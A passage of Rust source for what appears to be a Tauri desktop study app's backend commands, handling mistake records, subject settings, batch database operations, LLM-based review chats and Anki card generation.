&serde_json::to_string(&custom_options).unwrap_or_default(),
) {
println!("⚠️ 写回模型适配器选项失败: {}", e);
}
}
}
if !custom_options.is_empty() {
println!("使用自定义模型适配器选项: {} 个", custom_options.len());
return Ok(custom_options);
}
}
Err(e) => {
println!("解析自定义模型适配器选项失败: {}, 使用默认配置", e);
}
}
}
Ok(None) => {
// 没有自定义配置，使用默认配置
println!("没有找到自定义模型适配器选项，使用默认配置");
}
Err(e) => {
println!("获取模型适配器选项配置失败: {}, 使用默认配置", e);
}
}
// 返回默认的模型适配器选项
let default_options = get_default_model_adapter_options();
// 如果数据库中没有配置，保存默认配置供将来使用
if let Err(e) = state.database.save_setting("model_adapter_options", &serde_json::to_string(&default_options).unwrap_or_default()) {
println!("保存默认模型适配器选项失败: {}", e);
}
Ok(default_options)
}
/// 保存自定义模型适配器选项
#[tauri::command]
pub async fn save_model_adapter_options(
state: State<'_, AppState>,
options: Vec<serde_json::Value>,
) -> Result<()> {
println!("保存自定义模型适配器选项: {} 个", options.len());
// 验证选项格式
for (i, option) in options.iter().enumerate() {
if !option.is_object() ||
option.get("value").is_none() ||
option.get("label").is_none() {
return Err(AppError::validation(format!(
"模型适配器选项 {} 格式无效，必须包含 'value' 和 'label' 字段", i
)));
}
}
let options_json = serde_json::to_string(&options)
.map_err(|e| AppError::validation(format!("序列化模型适配器选项失败: {}", e)))?;
state.database.save_setting("model_adapter_options", &options_json)
.map_err(|e| AppError::database(format!("保存模型适配器选项失败: {}", e)))?;
println!("模型适配器选项保存成功");
Ok(())
}
/// 重置模型适配器选项为默认值
#[tauri::command]
pub async fn reset_model_adapter_options(
state: State<'_, AppState>,
) -> Result<Vec<serde_json::Value>> {
println!("重置模型适配器选项为默认值");
let default_options = get_default_model_adapter_options();
let options_json = serde_json::to_string(&default_options)
.map_err(|e| AppError::validation(format!("序列化默认模型适配器选项失败: {}", e)))?;
state.database.save_setting("model_adapter_options", &options_json)
.map_err(|e| AppError::database(format!("重置模型适配器选项失败: {}", e)))?;
println!("模型适配器选项重置成功");
Ok(default_options)
}
// 科目配置管理命令
#[tauri::command]
pub async fn get_all_subject_configs(
enabled_only: Option<bool>,
state: State<'_, AppState>,
) -> Result<Vec<SubjectConfig>> {
println!("获取科目配置列表: enabled_only={:?}", enabled_only);
state.database.get_all_subject_configs(enabled_only.unwrap_or(false))
.map_err(|e| AppError::database(format!("获取科目配置失败: {}", e)))
}
#[tauri::command]
pub async fn get_subject_config_by_id(
id: String,
state: State<'_, AppState>,
) -> Result<Option<SubjectConfig>> {
println!("获取科目配置详情: {}", id);
state.database.get_subject_config_by_id(&id)
.map_err(|e| AppError::database(format!("获取科目配置失败: {}", e)))
}
#[tauri::command]
pub async fn get_subject_config_by_name(
subject_name: String,
state: State<'_, AppState>,
) -> Result<Option<SubjectConfig>> {
println!("根据科目名称获取配置: {}", subject_name);
state.database.get_subject_config_by_name(&subject_name)
.map_err(|e| AppError::database(format!("获取科目配置失败: {}", e)))
}
#[tauri::command]
pub async fn create_subject_config(
request: CreateSubjectConfigRequest,
state: State<'_, AppState>,
) -> Result<SubjectConfig> {
println!("创建科目配置: {}", request.subject_name);
// 检查科目名称是否已存在
if let Ok(Some(_)) = state.database.get_subject_config_by_name(&request.subject_name) {
return Err(AppError::validation(format!("科目 '{}' 已存在", request.subject_name)));
}
let now = Utc::now();
let config = SubjectConfig {
id: Uuid::new_v4().to_string(),
subject_name: request.subject_name,
display_name: request.display_name,
description: request.description.unwrap_or_default(),
is_enabled: true,
prompts: request.prompts.unwrap_or_default(),
mistake_types: request.mistake_types.unwrap_or_else(|| vec![
"计算错误".to_string(),
"概念理解".to_string(),
"方法应用".to_string(),
"知识遗忘".to_string(),
"审题不清".to_string(),
]),
default_tags: request.default_tags.unwrap_or_else(|| vec![
"基础知识".to_string(),
"重点难点".to_string(),
"易错点".to_string(),
]),
created_at: now,
updated_at: now,
};
state.database.save_subject_config(&config)
.map_err(|e| AppError::database(format!("保存科目配置失败: {}", e)))?;
Ok(config)
}
#[tauri::command]
pub async fn update_subject_config(
request: UpdateSubjectConfigRequest,
state: State<'_, AppState>,
) -> Result<SubjectConfig> {
println!("更新科目配置: {}", request.id);
// 获取现有配置
let mut config = state.database.get_subject_config_by_id(&request.id)
.map_err(|e| AppError::database(format!("获取科目配置失败: {}", e)))?
.ok_or_else(|| AppError::not_found("科目配置不存在"))?;
// 更新字段
if let Some(display_name) = request.display_name {
config.display_name = display_name;
}
if let Some(description) = request.description {
config.description = description;
}
if let Some(is_enabled) = request.is_enabled {
config.is_enabled = is_enabled;
}
if let Some(prompts) = request.prompts {
config.prompts = prompts;
}
if let Some(mistake_types) = request.mistake_types {
config.mistake_types = mistake_types;
}
if let Some(default_tags) = request.default_tags {
config.default_tags = default_tags;
}
config.updated_at = Utc::now();
state.database.save_subject_config(&config)
.map_err(|e| AppError::database(format!("更新科目配置失败: {}", e)))?;
Ok(config)
}
#[tauri::command]
pub async fn delete_subject_config(
id: String,
state: State<'_, AppState>,
) -> Result<bool> {
println!("删除科目配置: {}", id);
state.database.delete_subject_config(&id)
.map_err(|e| AppError::database(format!("删除科目配置失败: {}", e)))
}
#[tauri::command]
pub async fn initialize_default_subject_configs(
state: State<'_, AppState>,
) -> Result<()> {
println!("初始化默认科目配置");
state.database.initialize_default_subject_configs()
.map_err(|e| AppError::database(format!("初始化默认科目配置失败: {}", e)))
}
// ============================================================================
// Batch Operations Commands
// ============================================================================
use crate::batch_operations::{BatchOperationExt, batch_utils};
use serde::{Serialize, Deserialize};
#[derive(Debug, Deserialize)]
pub struct BatchDeleteRequest {
pub mistake_ids: Vec<String>,
}
#[derive(Debug, Serialize)]
pub struct BatchOperationResult {
pub success: bool,
pub processed_count: usize,
pub message: String,
}
#[derive(Debug, Deserialize)]
pub struct BatchUpdateStatusRequest {
pub updates: std::collections::HashMap<String, String>, // mistake_id -> new_status
}
#[derive(Debug, Deserialize)]
pub struct BatchUpdateTagsRequest {
pub updates: std::collections::HashMap<String, Vec<String>>, // mistake_id -> new_tags
}
#[derive(Debug, Deserialize)]
pub struct BatchCleanupRequest {
pub archive_days: Option<i64>, // If provided, archive mistakes older than this many days
}
#[derive(Debug, Serialize)]
pub struct BatchCleanupResult {
pub orphaned_messages_cleaned: usize,
pub mistakes_archived: usize,
pub message: String,
}
#[derive(Debug, Deserialize)]
pub struct BatchExportRequest {
pub mistake_ids: Vec<String>,
}
/// Batch delete multiple mistakes
#[tauri::command]
pub async fn batch_delete_mistakes(
request: BatchDeleteRequest,
state: State<'_, AppState>,
) -> Result<BatchOperationResult> {
println!("批量删除错题: {} 个", request.mistake_ids.len());
if request.mistake_ids.is_empty() {
return Ok(BatchOperationResult {
success: true,
processed_count: 0,
message: "没有需要删除的错题".to_string(),
});
}
let deleted_count = state.database.with_batch_operations(|batch_ops| {
batch_ops.batch_delete_mistakes(&request.mistake_ids)
}).map_err(|e| AppError::database(format!("批量删除错题失败: {}", e)))?;
Ok(BatchOperationResult {
success: true,
processed_count: deleted_count,
message: format!("成功删除 {} 个错题", deleted_count),
})
}
/// Batch update mistake statuses
#[tauri::command]
pub async fn batch_update_mistake_statuses(
request: BatchUpdateStatusRequest,
state: State<'_, AppState>,
) -> Result<BatchOperationResult> {
println!("批量更新错题状态: {} 个", request.updates.len());
if request.updates.is_empty() {
return Ok(BatchOperationResult {
success: true,
processed_count: 0,
message: "没有需要更新的错题状态".to_string(),
});
}
let updated_count = state.database.with_batch_operations(|batch_ops| {
batch_ops.batch_update_mistake_statuses(&request.updates)
}).map_err(|e| AppError::database(format!("批量更新错题状态失败: {}", e)))?;
Ok(BatchOperationResult {
success: true,
processed_count: updated_count,
message: format!("成功更新 {} 个错题的状态", updated_count),
})
}
/// Batch update mistake tags
#[tauri::command]
pub async fn batch_update_mistake_tags(
request: BatchUpdateTagsRequest,
state: State<'_, AppState>,
) -> Result<BatchOperationResult> {
println!("批量更新错题标签: {} 个", request.updates.len());
if request.updates.is_empty() {
return Ok(BatchOperationResult {
success: true,
processed_count: 0,
message: "没有需要更新的错题标签".to_string(),
});
}
let updated_count = state.database.with_batch_operations(|batch_ops| {
batch_ops.batch_update_mistake_tags(&request.updates)
}).map_err(|e| AppError::database(format!("批量更新错题标签失败: {}", e)))?;
Ok(BatchOperationResult {
success: true,
processed_count: updated_count,
message: format!("成功更新 {} 个错题的标签", updated_count),
})
}
/// Batch cleanup operations (orphaned messages, old mistakes)
#[tauri::command]
pub async fn batch_cleanup_database(
request: BatchCleanupRequest,
state: State<'_, AppState>,
) -> Result<BatchCleanupResult> {
println!("批量清理数据库");
let (orphaned_count, archived_count) = batch_utils::bulk_cleanup(
&state.database,
request.archive_days
).map_err(|e| AppError::database(format!("数据库清理失败: {}", e)))?;
let message = if archived_count > 0 {
format!(
"清理完成：删除 {} 条孤立消息，归档 {} 个旧错题",
orphaned_count, archived_count
)
} else {
format!("清理完成：删除 {} 条孤立消息", orphaned_count)
};
Ok(BatchCleanupResult {
orphaned_messages_cleaned: orphaned_count,
mistakes_archived: archived_count,
message,
})
}
/// Batch export mistakes with full data
#[tauri::command]
pub async fn batch_export_mistakes(
request: BatchExportRequest,
state: State<'_, AppState>,
) -> Result<Vec<MistakeItem>> {
println!("批量导出错题: {} 个", request.mistake_ids.len());
if request.mistake_ids.is_empty() {
return Ok(Vec::new());
}
let mistakes = batch_utils::bulk_export_mistakes(
&state.database,
&request.mistake_ids
).map_err(|e| AppError::database(format!("批量导出错题失败: {}", e)))?;
println!("批量导出完成: {} 个错题", mistakes.len());
Ok(mistakes)
}
/// Batch save mistakes (useful for import operations)
#[tauri::command]
pub async fn batch_save_mistakes(
mistakes: Vec<MistakeItem>,
state: State<'_, AppState>,
) -> Result<BatchOperationResult> {
println!("批量保存错题: {} 个", mistakes.len());
if mistakes.is_empty() {
return Ok(BatchOperationResult {
success: true,
processed_count: 0,
message: "没有需要保存的错题".to_string(),
});
}
let saved_count = batch_utils::bulk_import_mistakes(
&state.database,
&mistakes
).map_err(|e| AppError::database(format!("批量保存错题失败: {}", e)))?;
Ok(BatchOperationResult {
success: true,
processed_count: saved_count,
message: format!("成功保存 {} 个错题", saved_count),
})
}
// ============================================================================
// Database Optimization Commands
// ============================================================================
use crate::database_optimizations::DatabaseOptimizationExt;
#[derive(Debug, Deserialize)]
pub struct OptimizedGetMistakesRequest {
pub subject_filter: Option<String>,
pub type_filter: Option<String>,
pub tags_filter: Option<Vec<String>>,
pub limit: Option<u32>,
pub offset: Option<u32>,
}
#[derive(Debug, Deserialize)]
pub struct FullTextSearchRequest {
pub search_term: String,
pub subject_filter: Option<String>,
pub limit: Option<u32>,
}
#[derive(Debug, Deserialize)]
pub struct DateRangeRequest {
pub start_date: String, // RFC3339 format
pub end_date: String, // RFC3339 format
pub subject_filter: Option<String>,
}
/// Get mistakes using optimized queries with tag filtering
#[tauri::command]
pub async fn get_mistakes_optimized(
request: OptimizedGetMistakesRequest,
state: State<'_, AppState>,
) -> Result<Vec<MistakeItem>> {
println!(
"获取错题（优化版）: subject={:?}, type={:?}, tags={:?}, limit={:?}, offset={:?}",
request.subject_filter, request.type_filter, request.tags_filter, request.limit, request.offset
);
let mistakes = state.database.get_mistakes_optimized(
request.subject_filter.as_deref(),
request.type_filter.as_deref(),
request.tags_filter.as_deref().map(|v| v.as_ref()),
request.limit,
request.offset,
).map_err(|e| AppError::database(format!("获取错题失败: {}", e)))?;
println!("获取错题（优化版）完成: {} 个", mistakes.len());
Ok(mistakes)
}
/// Get tag statistics using optimized JSON queries
#[tauri::command]
pub async fn get_tag_statistics_optimized(
state: State<'_, AppState>,
) -> Result<std::collections::HashMap<String, i32>> {
println!("获取标签统计（优化版）");
let stats = state.database.get_tag_statistics_optimized()
.map_err(|e| AppError::database(format!("获取标签统计失败: {}", e)))?;
println!("获取标签统计（优化版）完成: {} 个标签", stats.len());
Ok(stats)
}
/// Full-text search across mistake content
#[tauri::command]
pub async fn search_mistakes_fulltext(
request: FullTextSearchRequest,
state: State<'_, AppState>,
) -> Result<Vec<MistakeItem>> {
println!("全文搜索错题: '{}'", request.search_term);
if request.search_term.trim().is_empty() {
return Ok(Vec::new());
}
let mistakes = state.database.search_mistakes_fulltext(
&request.search_term,
request.subject_filter.as_deref(),
request.limit,
).map_err(|e| AppError::database(format!("全文搜索失败: {}", e)))?;
println!("全文搜索完成: {} 个结果", mistakes.len());
Ok(mistakes)
}
/// Get mistakes by date range
#[tauri::command]
pub async fn get_mistakes_by_date_range(
request: DateRangeRequest,
state: State<'_, AppState>,
) -> Result<Vec<MistakeItem>> {
println!("按日期范围获取错题: {} 到 {}", request.start_date, request.end_date);
let mistakes = state.database.get_mistakes_by_date_range(
&request.start_date,
&request.end_date,
request.subject_filter.as_deref(),
).map_err(|e| AppError::database(format!("按日期范围获取错题失败: {}", e)))?;
println!("按日期范围获取错题完成: {} 个", mistakes.len());
Ok(mistakes)
}
/// Create performance indexes for better query speed
#[tauri::command]
pub async fn create_performance_indexes(
state: State<'_, AppState>,
) -> Result<String> {
println!("创建性能索引");
state.database.create_performance_indexes()
.map_err(|e| AppError::database(format!("创建性能索引失败: {}", e)))?;
Ok("性能索引创建成功".to_string())
}
/// Analyze query performance
#[tauri::command]
pub async fn analyze_query_performance(
query: String,
state: State<'_, AppState>,
) -> Result<String> {
println!("分析查询性能: {}", query);
let analysis = state.database.analyze_query_performance(&query)
.map_err(|e| AppError::database(format!("查询性能分析失败: {}", e)))?;
Ok(analysis)
}
/// 从模型输出中提取思维链内容
fn extract_thinking_content_from_model_output(model_output: &crate::models::StandardModel2Output) -> Option<String> {
match &model_output.chain_of_thought_details {
Some(cot_details) => {
// 尝试提取结构化的思维链内容
if let Some(reasoning_content) = cot_details.get("reasoning_content") {
if let Some(reasoning_str) = reasoning_content.as_str() {
if !reasoning_str.trim().is_empty() {
return Some(reasoning_str.to_string());
}
}
}
// 如果有解析的段落，格式化为可读内容
if let Some(parsed_sections) = cot_details.get("parsed_sections") {
if let Some(sections_array) = parsed_sections.as_array() {
if !sections_array.is_empty() {
let formatted_sections = sections_array
.iter()
.filter_map(|section| {
let title = section.get("title")?.as_str()?;
let content = section.get("content")?.as_str()?;
if !content.trim().is_empty() {
Some(format!("## {}\n{}", title, content))
} else {
None
}
})
.collect::<Vec<_>>()
.join("\n\n");
if !formatted_sections.trim().is_empty() {
return Some(formatted_sections);
}
}
}
}
// 回退到完整响应
if let Some(full_response) = cot_details.get("full_response") {
if let Some(response_str) = full_response.as_str() {
// 如果启用了思维链但没有特殊内容，至少返回标记
if cot_details.get("enabled").and_then(|v| v.as_bool()).unwrap_or(false) {
return Some(format!("## 完整推理过程\n{}", response_str));
}
}
}
None
}
None => None,
}
}
/// 获取默认的模型适配器选项
fn get_default_model_adapter_options() -> Vec<serde_json::Value> {
vec![
serde_json::json!({
"value": "general",
"label": "通用模型",
"description": "适用于大多数标准AI模型（如GPT、Claude、通义千问等）",
"is_default": true,
"capabilities": ["chat", "text_generation"],
"supported_features": ["streaming", "multimodal"]
}),
serde_json::json!({
"value": "deepseek-r1",
"label": "DeepSeek-R1",
"description": "专为DeepSeek-R1推理模型优化，支持思维链流式输出",
"is_default": true,
"capabilities": ["reasoning", "chain_of_thought", "problem_solving"],
"supported_features": ["streaming", "thinking_chain", "reasoning_output"]
}),
serde_json::json!({
"value": "google",
"label": "Google Gemini",
"description": "Google Gemini系列模型，支持多模态和高质量文本生成",
"is_default": true,
"capabilities": ["chat", "text_generation", "multimodal", "vision"],
"supported_features": ["streaming", "multimodal", "image_analysis"]
}),
serde_json::json!({
"value": "o1-series",
"label": "OpenAI o1系列",
"description": "OpenAI o1-preview和o1-mini等推理模型",
"is_default": true,
"capabilities": ["reasoning", "problem_solving", "scientific_analysis"],
"supported_features": ["reasoning_tokens", "thinking_process"]
}),
serde_json::json!({
"value": "claude-3-5-sonnet",
"label": "Claude 3.5 Sonnet",
"description": "Anthropic Claude 3.5 Sonnet高性能模型",
"is_default": true,
"capabilities": ["chat", "analysis", "coding", "multimodal"],
"supported_features": ["streaming", "vision", "long_context"]
})
]
}
// ============================================================================
// 回顾分析功能相关命令
// ============================================================================
/// 开始统一回顾分析 - 第一步：创建会话并缓存数据
#[tauri::command]
pub async fn start_consolidated_review_analysis(
request: StartConsolidatedReviewAnalysisRequest,
state: State<'_, AppState>,
) -> Result<StartConsolidatedReviewAnalysisResponse> {
// 安全地截取中文字符串，使用字符边界而非字节边界
let prompt_preview = if request.overall_prompt.chars().count() > 50 {
request.overall_prompt.chars().take(50).collect::<String>() + "..."
} else {
request.overall_prompt.clone()
};
println!("🔄 开始统一回顾分析: 科目={}, 输入长度={}, 问题={}, 错题数量={}",
request.subject,
request.consolidated_input.len(),
prompt_preview,
request.mistake_ids.len()
);
println!("🔍 调试: 错题ID列表={:?}", request.mistake_ids);
// 生成唯一的回顾会话ID
let review_session_id = format!("review_{}", Uuid::new_v4());
// 创建回顾会话数据
let review_session = ConsolidatedReviewSession {
review_session_id: review_session_id.clone(),
subject: request.subject.clone(),
consolidated_input: request.consolidated_input.clone(),
overall_prompt: request.overall_prompt.clone(),
enable_chain_of_thought: request.enable_chain_of_thought,
created_at: Utc::now(),
chat_history: Vec::new(),
mistake_ids: request.mistake_ids.clone(), // 🎯 修复：添加错题ID信息
};
// 存储到临时会话中
{
let mut sessions = state.review_sessions.lock().await;
sessions.insert(review_session_id.clone(), review_session.clone());
}
// 立即保存到数据库（创建初始记录）
let initial_review_analysis = ReviewAnalysisItem {
id: review_session_id.clone(),
name: "回顾分析会话".to_string(), // 默认名称
subject: request.subject.clone(),
created_at: Utc::now(),
updated_at: Utc::now(),
mistake_ids: request.mistake_ids.clone(), // 🔧 修复：使用传入的错题ID列表
consolidated_input: request.consolidated_input.clone(),
user_question: request.overall_prompt.clone(),
status: "pending".to_string(), // 待启动状态，等待流式分析
tags: Vec::new(),
analysis_type: "consolidated_review".to_string(),
chat_history: Vec::new(),
};
match state.database.save_review_analysis(&initial_review_analysis) {
Ok(_) => {
println!("✅ 初始回顾分析记录已保存到数据库");
}
Err(e) => {
println!("❌ 保存初始回顾分析记录失败: {}", e);
// 返回错误，因为数据库保存失败意味着数据不一致
return Err(AppError::database(format!("保存回顾分析失败: {}", e)));
}
}
println!("✅ 回顾分析会话已创建: {}", review_session_id);
Ok(StartConsolidatedReviewAnalysisResponse {
review_session_id,
})
}
/// 触发统一回顾分析流式处理 - 第二步：开始AI分析
#[tauri::command]
pub async fn trigger_consolidated_review_stream(
request: TriggerConsolidatedReviewStreamRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<()> {
println!("🚀 触发统一回顾分析流式处理: {}", request.review_session_id);
// 从缓存中获取会话数据
let session_data = {
let sessions = state.review_sessions.lock().await;
sessions.get(&request.review_session_id)
.ok_or_else(|| AppError::not_found("回顾分析会话不存在"))?
.clone()
};
// 获取回顾分析模型配置
let model_assignments = state.llm_manager.get_model_assignments().await?;
let review_model_config_id = model_assignments.review_analysis_model_config_id
.ok_or_else(|| AppError::configuration("未配置回顾分析模型"))?;
let api_configs = state.llm_manager.get_api_configs().await?;
let review_model_config = api_configs.iter()
.find(|config| config.id == review_model_config_id)
.ok_or_else(|| AppError::configuration("找不到回顾分析模型配置"))?;
// 获取回顾分析提示词
let consolidated_review_prompt = state.llm_manager
.get_subject_prompt(&session_data.subject, "consolidated_review");
// 构造LLM请求消息
let system_message = consolidated_review_prompt.replace("{subject}", &session_data.subject);
let user_message = format!(
"{}\n\n---\n请基于以上所有错题信息，针对以下问题进行分析：\n{}",
session_data.consolidated_input,
session_data.overall_prompt
);
// 构造聊天历史（开始新对话）
let mut chat_history = session_data.chat_history.clone();
chat_history.push(ChatMessage {
role: "user".to_string(),
content: user_message,
timestamp: Utc::now(),
thinking_content: None,
rag_sources: None,
image_paths: None,
image_base64: None,
});
// 准备流式事件名称
let stream_event = format!("review_analysis_stream_{}", request.review_session_id);
let _thinking_stream_event = format!("review_analysis_stream_{}_reasoning", request.review_session_id);
println!("📡 开始调用回顾分析模型: {}", review_model_config.name);
// 调用LLM进行流式分析
let context = std::collections::HashMap::from([
("system_prompt".to_string(), serde_json::Value::String(system_message)),
("task_type".to_string(), serde_json::Value::String("consolidated_review".to_string())),
]);
let _result = state.llm_manager.call_unified_model_2_stream(
&context,
&chat_history,
&session_data.subject,
request.enable_chain_of_thought,
None, // 不需要图片
Some("consolidated_review"),
window,
&stream_event,
).await?;
println!("✅ 回顾分析流式处理已启动");
Ok(())
}
/// 继续统一回顾分析对话
#[tauri::command]
pub async fn continue_consolidated_review_stream(
request: ContinueConsolidatedReviewStreamRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<()> {
println!("💬 继续统一回顾分析对话: {}", request.review_session_id);
// 获取会话数据（支持从数据库恢复）
let session_data = {
let mut sessions = state.review_sessions.lock().await;
// 首先尝试从内存获取
if let Some(session) = sessions.get(&request.review_session_id) {
session.clone()
} else {
// 如果内存中没有，尝试从数据库恢复
println!("🔄 内存中没有找到会话，尝试从数据库恢复: {}", request.review_session_id);
match state.database.get_review_analysis_by_id(&request.review_session_id) {
Ok(Some(review_analysis)) => {
// 从数据库记录重建会话数据
let restored_session = ConsolidatedReviewSession {
review_session_id: review_analysis.id.clone(),
subject: review_analysis.subject.clone(),
consolidated_input: review_analysis.consolidated_input.clone(),
overall_prompt: review_analysis.user_question.clone(),
enable_chain_of_thought: true, // 默认启用思维链
created_at: review_analysis.created_at,
chat_history: review_analysis.chat_history.clone(),
mistake_ids: review_analysis.mistake_ids.clone(), // 🎯 修复：保留错题ID信息
};
// 将恢复的会话存回内存缓存
sessions.insert(request.review_session_id.clone(), restored_session.clone());
println!("✅ 从数据库成功恢复会话: {}", request.review_session_id);
restored_session
},
Ok(None) => {
return Err(AppError::not_found("回顾分析会话不存在"));
},
Err(e) => {
println!("❌ 从数据库加载会话失败: {}", e);
return Err(AppError::database(format!("加载会话失败: {}", e)));
}
}
}
};
// 更新会话聊天历史
{
let mut sessions = state.review_sessions.lock().await;
if let Some(session) = sessions.get_mut(&request.review_session_id) {
session.chat_history = request.chat_history.clone();
}
}
// 获取回顾分析模型配置
let model_assignments = state.llm_manager.get_model_assignments().await?;
let _review_model_config_id = model_assignments.review_analysis_model_config_id
.ok_or_else(|| AppError::configuration("未配置回顾分析模型"))?;
// 获取回顾分析提示词
let consolidated_review_prompt = state.llm_manager
.get_subject_prompt(&session_data.subject, "consolidated_review");
let system_message = consolidated_review_prompt.replace("{subject}", &session_data.subject);
// 准备流式事件名称 - 🎯 修复：追问使用不同的事件名称，参考错题分析实现
let stream_event = format!("review_chat_stream_{}", request.review_session_id);
println!("📡 继续回顾分析对话，消息数量: {}", request.chat_history.len());
println!("🔍 [追问调试] 详细信息:");
println!(" - review_id: {}", request.review_session_id);
println!(" - stream_event: {}", stream_event);
println!(" - subject: {}", session_data.subject);
println!(" - enable_chain_of_thought: {}", request.enable_chain_of_thought);
println!(" - chat_history_length: {}", request.chat_history.len());
println!(" - system_message: {}", system_message);
// 输出聊天历史的详细信息
for (i, msg) in request.chat_history.iter().enumerate() {
println!(" - chat[{}]: {} - {}", i, msg.role,
if msg.content.chars().count() > 100 {
format!("{}...", msg.content.chars().take(100).collect::<String>())
} else {
msg.content.clone()
});
}
// 调用LLM进行流式对话
let context = std::collections::HashMap::from([
("system_prompt".to_string(), serde_json::Value::String(system_message)),
("task_type".to_string(), serde_json::Value::String("consolidated_review_chat".to_string())),
]);
// 🎯 修复：获取相关错题的图片信息
let mut all_image_paths = Vec::new();
for mistake_id in &session_data.mistake_ids {
if let Ok(Some(mistake)) = state.database.get_mistake_by_id(mistake_id) {
all_image_paths.extend(mistake.question_images);
}
}
// 🎯 修复：获取模型配置，为多模态模型传递图片信息
let model_config = state.llm_manager.get_model2_config().await?;
let image_paths = if model_config.is_multimodal && !all_image_paths.is_empty() {
Some(all_image_paths)
} else {
None
};
println!("🚀 [追问调试] 即将调用 call_unified_model_2_stream");
println!("📸 [图片调试] 错题数量: {}, 图片路径数量: {}", session_data.mistake_ids.len(), image_paths.as_ref().map(|p| p.len()).unwrap_or(0));
let result = state.llm_manager.call_unified_model_2_stream(
&context,
&request.chat_history,
&session_data.subject,
request.enable_chain_of_thought,
image_paths, // 🎯 修复：传递相关错题的图片信息
Some("consolidated_review_chat"),
window.clone(),
&stream_event,
).await?;
println!("✅ [追问调试] call_unified_model_2_stream 调用完成，返回内容长度: {}", result.assistant_message.len());
// 流式处理完成后，像错题分析一样自动保存到数据库
{
// 从内存缓存获取session信息
let session_data = {
let sessions = state.review_sessions.lock().await;
sessions.get(&request.review_session_id).cloned()
};
if let Some(session) = session_data {
// 构建更新后的聊天历史
let mut updated_chat_history = request.chat_history.clone();
updated_chat_history.push(ChatMessage {
role: "assistant".to_string(),
content: result.assistant_message.clone(),
timestamp: Utc::now(),
thinking_content: extract_thinking_content_from_model_output(&result),
rag_sources: None,
image_paths: None,
image_base64: None,
});
// 创建ReviewAnalysisItem并保存到数据库（复用错题分析模式）
let review_analysis = ReviewAnalysisItem {
id: request.review_session_id.clone(),
name: format!("回顾分析-{}", Utc::now().format("%Y%m%d")), // ConsolidatedReviewSession没有name字段
subject: session.subject.clone(),
created_at: session.created_at,
updated_at: Utc::now(),
mistake_ids: session.mistake_ids.clone(), // 🎯 修复：使用实际的错题ID列表
consolidated_input: session.consolidated_input.clone(),
user_question: "统一回顾分析".to_string(),
status: "completed".to_string(),
tags: vec![],
analysis_type: "consolidated_review".to_string(),
chat_history: updated_chat_history.clone(),
};
// 保存到数据库（自动保存，像错题分析一样）
if let Err(e) = state.database.save_review_analysis(&review_analysis) {
println!("❌ 自动保存回顾分析到数据库失败: {}", e);
} else {
println!("✅ 自动保存回顾分析到数据库成功");
}
// 同时更新内存缓存
{
let mut sessions = state.review_sessions.lock().await;
if let Some(cached_session) = sessions.get_mut(&request.review_session_id) {
cached_session.chat_history = updated_chat_history;
}
}
}
}
println!("✅ 回顾分析对话继续处理完成");
Ok(())
}
/// 获取回顾分析数据（从数据库加载）- 复用错题分析的加载模式
#[tauri::command]
pub async fn get_review_analysis_by_id(
id: String,
state: State<'_, AppState>,
) -> Result<Option<crate::models::ReviewAnalysisItem>> {
println!("🔍 从数据库获取回顾分析: {}", id);
match state.database.get_review_analysis_by_id(&id) {
Ok(review) => {
if let Some(ref r) = review {
println!("✅ 成功获取回顾分析，聊天记录数量: {}", r.chat_history.len());
} else {
println!("⚠️ 未找到回顾分析: {}", id);
}
Ok(review)
}
Err(e) => {
println!("❌ 获取回顾分析失败: {}", e);
Err(AppError::database(format!("获取回顾分析失败: {}", e)))
}
}
}
/// 获取统一回顾分析会话数据（兼容旧接口）
#[tauri::command]
pub async fn get_consolidated_review_session(
sessionId: String,
state: State<'_, AppState>,
) -> Result<Option<ConsolidatedReviewSession>> {
println!("🔍 获取统一回顾分析会话: {}", sessionId);
// 从缓存中获取会话数据
let sessions = state.review_sessions.lock().await;
let session = sessions.get(&sessionId).cloned();
Ok(session)
}
/// 生成ANKI卡片
#[tauri::command]
pub async fn generate_anki_cards_from_document(
request: AnkiDocumentGenerationRequest,
state: State<'_, AppState>,
) -> Result<AnkiDocumentGenerationResponse> {
println!("🎯 开始生成ANKI卡片: 科目={}, 文档长度={}", request.subject_name, request.document_content.len());
// 调用LLM Manager的ANKI制卡功能
match state.llm_manager.generate_anki_cards_from_document(
&request.document_content,
&request.subject_name,
request.options.as_ref(),
).await {
Ok(cards) => {
println!("✅ ANKI卡片生成成功: {} 张卡片", cards.len());
Ok(AnkiDocumentGenerationResponse {
success: true,
cards,
error_message: None,
})
}
Err(e) => {
println!("❌ ANKI卡片生成失败: {}", e);
Ok(AnkiDocumentGenerationResponse {
success: false,
cards: vec![],
error_message: Some(e.to_string()),
})
}
}
}
/// 从DOCX/PDF文档文件生成ANKI卡片
#[tauri::command]
pub async fn generate_anki_cards_from_document_file(
file_path: String,
subject_name: String,
options: Option<AnkiGenerationOptions>,
state: State<'_, AppState>,
) -> Result<AnkiDocumentGenerationResponse> {
println!("🎯 开始从文档文件生成ANKI卡片: 文件={}, 科目={}", file_path, subject_name);
// 1. 首先解析文档内容
let document_content = match parse_document_from_path(file_path.clone()).await {
Ok(content) => content,
Err(e) => {
println!("❌ 文档解析失败: {}", e);
return Ok(AnkiDocumentGenerationResponse {
success: false,
cards: vec![],
error_message: Some(format!("文档解析失败: {}", e)),
});
}
};
println!("✅ 文档解析成功，提取文本长度: {}", document_content.len());
// 2. 调用ANKI卡片生成
match state.llm_manager.generate_anki_cards_from_document(
&document_content,
&subject_name,
options.as_ref(),
).await {
Ok(cards) => {
println!("✅ ANKI卡片生成成功: {} 张卡片", cards.len());
Ok(AnkiDocumentGenerationResponse {
success: true,
cards,
error_message: None,
})
}
Err(e) => {
println!("❌ ANKI卡片生成失败: {}", e);
Ok(AnkiDocumentGenerationResponse {
success: false,
cards: vec![],
error_message: Some(e.to_string()),
})
}
}
}
/// 从Base64编码的DOCX/PDF文档生成ANKI卡片
#[tauri::command]
pub async fn generate_anki_cards_from_document_base64(
file_name: String,
base64_content: String,
subject_name: String,
options: Option<AnkiGenerationOptions>,
state: State<'_, AppState>,
) -> Result<AnkiDocumentGenerationResponse> {
println!("🎯 开始从Base64文档生成ANKI卡片: 文件={}, 科目={}", file_name, subject_name);
// 1. 首先解析文档内容
let document_content = match parse_document_from_base64(file_name.clone(), base64_content).await {
Ok(content) => content,
Err(e) => {
println!("❌ 文档解析失败: {}", e);
return Ok(AnkiDocumentGenerationResponse {
success: false,
cards: vec![],
error_message: Some(format!("文档解析失败: {}", e)),
});
}
};
println!("✅ 文档解析成功，提取文本长度: {}", document_content.len());
// 2. 调用ANKI卡片生成
